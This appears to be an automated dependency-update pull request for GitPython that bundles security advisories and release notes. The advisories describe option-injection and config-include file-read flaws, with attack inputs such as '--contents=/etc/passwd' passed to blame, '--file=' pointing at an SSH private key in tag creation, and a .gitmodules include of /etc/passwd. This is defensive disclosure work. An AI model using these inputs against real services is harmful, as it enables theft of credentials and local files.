CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788
More information
Details
Summary
Repo.blame()/Repo.blame_incremental()guard forwarded revision options againstunsafe_git_revision_options, but that denylist only contains the file-WRITE options--output/-o.git blamealso honors--contents <file>and-S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of--contents=<path>passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame--outputWRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).Root Cause
unsafe_git_revision_options = ["--output","-o"](git/repo/base.py:188). Therevstring is passed to_option_candidates([rev], kwargs)and placed BEFORE the--separator (base.py:841). The canonical name of--contents=...iscontents, which is not on the denylist, so noUnsafeOptionErroris raised. The trailing--protects only the pathspec, not the option before the revision.Impact
Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default
allow_unsafe_options=False.Proof of Concept
Attack Chain
repo.blame(rev, file)with attackerrev="--contents=/etc/passwd"(or kwargcontents="/etc/passwd", or-S).Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)@ base.py:841. Guard: denylist =["--output","-o"]only. Bypass proof: canonical namecontents∉ denylist → no error.self.git.blame(rev, "--", file, p=True, ...). argv (observed):['git','blame','-p','--contents=<secret>','HEAD','--','a.txt'].Bypass Evidence
Independently reproduced (independent test harness, default
allow_unsafe_options=False):blame('--contents=<secret>','a.txt')→ guard PASSED; result rows =['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']. Control:blame('--output=…')still BLOCKED (guard active on this path).-Skwarg argv also reaches git unguarded.Affected Versions
GitPython <= 3.1.58(denylist present verbatim on the latest release tag).Suggested Fix
Prefer an allowlist of blame options; at minimum add
--contents/-S(and any other path-taking blame options) tounsafe_git_revision_options, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785
More information
Details
[HIGH] Arbitrary local file content disclosure via
[include]directive in untrusted.gitmodules(SubmoduleConfigParsernever disablesmerge_includes)git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
GitConfigParser.__init__defaultsmerge_includes=True: any config file it parses has its[include](and, when arepo=is supplied,[includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit41ecc6a4("Disable merge_includes in config writers"), which passesmerge_includes=FalsewhenRepo.config_writer()builds its parser (git/repo/base.py).That fix never touched
Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration —repo.submodules,Submodule.iter_items(),Submodule.config()— viaSubmoduleConfigParser(fp_module, read_only=read_only), passing neithermerge_includes=Falsenorrepo=. TheTrueclass default is therefore inherited unchanged, andfp_modulehere is.gitmodules— the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check:osp.isabs(include_path)short-circuits the path join entirely for an absolute path, and a relative path is joined withosp.join(osp.dirname(file_path), include_path)/osp.normpath()'d with no check that the result stays under the repository.~is expanded viaosp.expanduser. The only gate before opening isos.access(include_path, os.R_OK)— a readability check, not a path restriction.Once opened,
GitConfigParser._read()parses the target file as git-config INI. If the first non-blank/non-comment line is not a[section]header — true of virtually any non-gitconfig file (source code,/etc/passwd,.envfiles, credential files, logs, JSON/YAML) — it raisesconfigparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception'sstr()as"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)— it embeds the verbatim content of that file's first line in the exception message.Submodule.iter_items()catches only(IOError, BadName), notconfigparser.Error, so this exception propagates straight out of the ordinary, read-onlyrepo.submodulescall.Root cause
Parity gap between two config-parser construction sites for the exact same footgun:
Repo.config_writer()was hardened againstmerge_includesin 2023 (41ecc6a4);Submodule._config_parser()— which parses.gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser atgit/objects/submodule/base.pyfor.git/modules/<name>/config— a different, locally-generated file — has correctly passedmerge_includes=Falsesince 2022, underscoring that the omission for.gitmodulesreads looks like an oversight rather than a considered exception.)Exploit path
.gitmodulescontains a legitimate-looking[submodule ...]section plus: (an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too).list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required.SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first
MissingSectionHeaderError), but that line very often is the secret —.envfiles (DATABASE_URL=...,API_KEY=...), single-line credential/token files,/etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blindGHSA-cwvm-v4w8-q58c("Blind local file inclusion", CVSS 4.0,git/refs/symbolic.pyref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).Preconditions
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout.Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.False-positive check (adversarial re-read)
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution.clone_from+list(repo.submodules)workflow.Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught./etc/passwd.Remediation
Pass
merge_includes=Falsewhen constructingSubmoduleConfigParserinSubmodule._config_parser()(git/objects/submodule/base.py), mirroring the existing fix inRepo.config_writer()(commit41ecc6a4) —.gitmodulescontent is always attacker-controlled and should never be allowed to pull ininclude/includeIfdirectives. As defense in depth,GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.Confidence
High. Root cause confirmed by direct code reading across both
git/config.pyandgit/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and/etc/passwd).Proof-of-Concept source (
gitpython-003-poc.py)Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination
CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787
More information
Details
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs.9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
Repo.clone_from(url, to_path, **kwargs)(andRepo.clone()) forward arbitrary keyword arguments to the underlyinggit cloneinvocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist,Repo.unsafe_git_clone_options, viaGit.check_unsafe_options()— unless the caller passesallow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template,--upload-pack,--config,--exec,--output,--index-output,--pathspec-from-file, etc.).git clonealso accepts--separate-git-dir=<path>, which redirects the repository's entire.gitmetadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code:Repo.unsafe_git_init_options(line 145-150) blocks--separate-git-dirforRepo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". TheRepo._clone()/clone()/clone_from()docstring (line 1450-1452) is even more explicit:i.e. the maintainers' own documentation states that
allow_unsafe_options=False(the default) is supposed to block--separate-git-dirfor clone. ButRepo.unsafe_git_clone_optionsdoes not contain it:So any application that forwards a
separate_git_dir(orseparate-git-dir) kwarg intoRepo.clone_from()/Repo.clone()— e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling--template/--upload-pack/--configentries in this same list — gets no protection at all for--separate-git-dir, even with the defaultallow_unsafe_options=False.Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage):
unsafe_git_init_optionscorrectly lists--separate-git-dir;unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible forGHSA-539m-9xh6-q6rr(archivedenylist missing--add-file/--add-virtual-file) andGHSA-6p8h-3wgx-97gf(clonedenylist missing--template, since fixed).Exploit path
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse.Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity
GHSA-hmq2-w58f-27jc("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:hooks/directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to..git, a shared cache path, a predictable temp location), the clone silently populates/overwritesconfig,HEAD,hooks/*,refs/*,packed-refs, andindexthere — an integrity violation of a resource outside the intended destination.gitagainst that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for--templateinGHSA-9rj7-rf2p-w77r.Preconditions
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.False-positive check (adversarial re-read)
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths).--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path._known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap.clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry.Remediation
Add
"--separate-git-dir"(and its-alias if git ever adds one — currently there is none) toRepo.unsafe_git_clone_optionsingit/repo/base.py, matchingunsafe_git_init_options. SinceRepo._clone()already special-casesseparate_git_dirforGit.polish_url()normalization, the fix is a one-line addition to the existing list, consistent with howGHSA-6p8h-3wgx-97gfadded--templateto the same list.Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (
gitpython-001-poc.py)Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785
More information
Details
GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786
More information
Details
GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787
More information
Details
GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788
More information
Details
GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)
CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837
More information
Details
Summary
TagReference.create()forwards a caller-influenced positionalreferencevalue intogit tagwithout it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit3af0c251(the fix for GHSA-3f7w-8rr8-f37f's tag instance).Root Cause
The fix
3af0c251addedunsafe_git_tag_options = ["--file","-F"]and a guard call, but the guard isGit.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)atgit/refs/tag.py:139— it passes an EMPTY args list and inspects kwargs only. The dangerous valuespathandreferenceare POSITIONALS (args = (path, reference), tag.py:156), placed before any--. A user-influencedreference="--file=<path>"therefore reachesgit tagas the exact--fileoption the fix intended to block, creating an annotated tag whose message is the file's contents.Impact
Arbitrary local file read at the privileges of the host process; contents returned in-band via
tagref.tag.message. Requires the embedding application to forward a caller-influencedreferencevalue intoTagReference.create()(pure VALUE control — the CVE-2026-42215 threat model). Defaultallow_unsafe_options=False.Proof of Concept
Attack Chain
TagReference.create(repo, name, reference=<user>)withreference="--file=/home/app/.ssh/id_rsa".Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])@ tag.py:137-141. Guard: denylist includes--file/-F. Bypass proof:_option_candidatesreceivesargs=[]→ the positionalreferenceis never a candidate (the kwarg spellingfile="…"IS blocked; only the positional escapes).repo.git.tag(*args, **kwargs)@ tag.py:158 → no--. argv (observed):['git','tag','-f','vpwn','--file=<secret>'].tagref.tag.message== file contents (arbitrary file read).Bypass Evidence
Independently reproduced (independent test harness, git 2.43.0, default
allow_unsafe_options=False):TagReference.create(repo,'vp','--file=<secret>')→ PASSED;tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control:TagReference.create(..., file='<secret>')→UnsafeOptionError: --file is not allowed. Fix-commit read:3af0c251adds_option_candidates([], kwargs)(empty args → positional never a candidate).Affected Versions
GitPython <= 3.1.58(sink present verbatim on the latest release tag;git diff 3.1.57..HEADtouches only test files).Suggested Fix
Include the positional
reference(andpath) in the option-candidate list passed tocheck_unsafe_options, or place a--separator before the positional arguments inTagReference.create().Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
Release Notes
gitpython-developers/GitPython (gitpython)
v3.1.59: - SecurityCompare Source
What's Changed
repo.index.add()now respects worktree filters #2209Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59
v3.1.58: - Security and FixesCompare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58
v3.1.57: - Security and FixesCompare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57
v3.1.56: - SECURITYCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56
v3.1.55: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55
v3.1.54: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54
v3.1.53: - SecurityCompare Source
What's Changed
submodule.update()aftersubmodule.deinit()work by @Byron in #2175New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53
v3.1.52: SecurityCompare Source
https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52
v3.1.51: - SecurityCompare Source
What's Changed
335c0f6to0a019a2by @dependabot[bot] in #21490a019a2to4950ea9by @dependabot[bot] in #2165New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51
v3.1.50Compare Source
What's Changed
335c0f6to53c94d6by @dependabot[bot] in #2141New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50
v3.1.49: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49
v3.1.48: - SecurityCompare Source
Accidentally deleted the previous GH release, it did mention the advisory this fixes.
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48
v3.1.47: - with security fixesCompare Source
Advisories
What's Changed
335c0f6to4c63ee6by @dependabot[bot] in #20964c63ee6to5c1b303by @dependabot[bot] in #2106gc.collect()twice intest_renameon Python 3.12 by @EliahKagan in #2109Repo.active_branchresolution for reftable-backed repositories by @Copilot in #2114with_stdout=Falseby @ngie-eign in #2126shlexby @Byron in #2130New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate CLI.
db0a2267ec343be23737Update dependency gitpython to v3.1.47 [SECURITY]to Update dependency gitpython to v3.1.48 [SECURITY]Update dependency gitpython to v3.1.48 [SECURITY]to Update dependency gitpython to v3.1.49 [SECURITY]Update dependency gitpython to v3.1.49 [SECURITY]to Update dependency gitpython to v3.1.50 [SECURITY]343be23737eca420b486eca420b486639b7b5749639b7b574923b0902f36Update dependency gitpython to v3.1.50 [SECURITY]to Update dependency gitpython to v3.1.51 [SECURITY]Update dependency gitpython to v3.1.51 [SECURITY]to Update dependency gitpython to v3.1.52 [SECURITY]23b0902f36d824f8187ed824f8187e5818478b00Update dependency gitpython to v3.1.52 [SECURITY]to Update dependency gitpython to v3.1.54 [SECURITY]Update dependency gitpython to v3.1.54 [SECURITY]to Update dependency gitpython to v3.1.55 [SECURITY]5818478b0079725d82f479725d82f4758738631c758738631c0a8d4807e5Update dependency gitpython to v3.1.55 [SECURITY]to Update dependency gitpython to v3.1.58 [SECURITY]0a8d4807e5b7a4a277cab7a4a277ca681aca7553681aca75530c2fb20f32Update dependency gitpython to v3.1.58 [SECURITY]to Update dependency gitpython to v3.1.59 [SECURITY]0c2fb20f326b35d2cd7bView command line instructions
Checkout
From your project repository, check out a new branch and test the changes.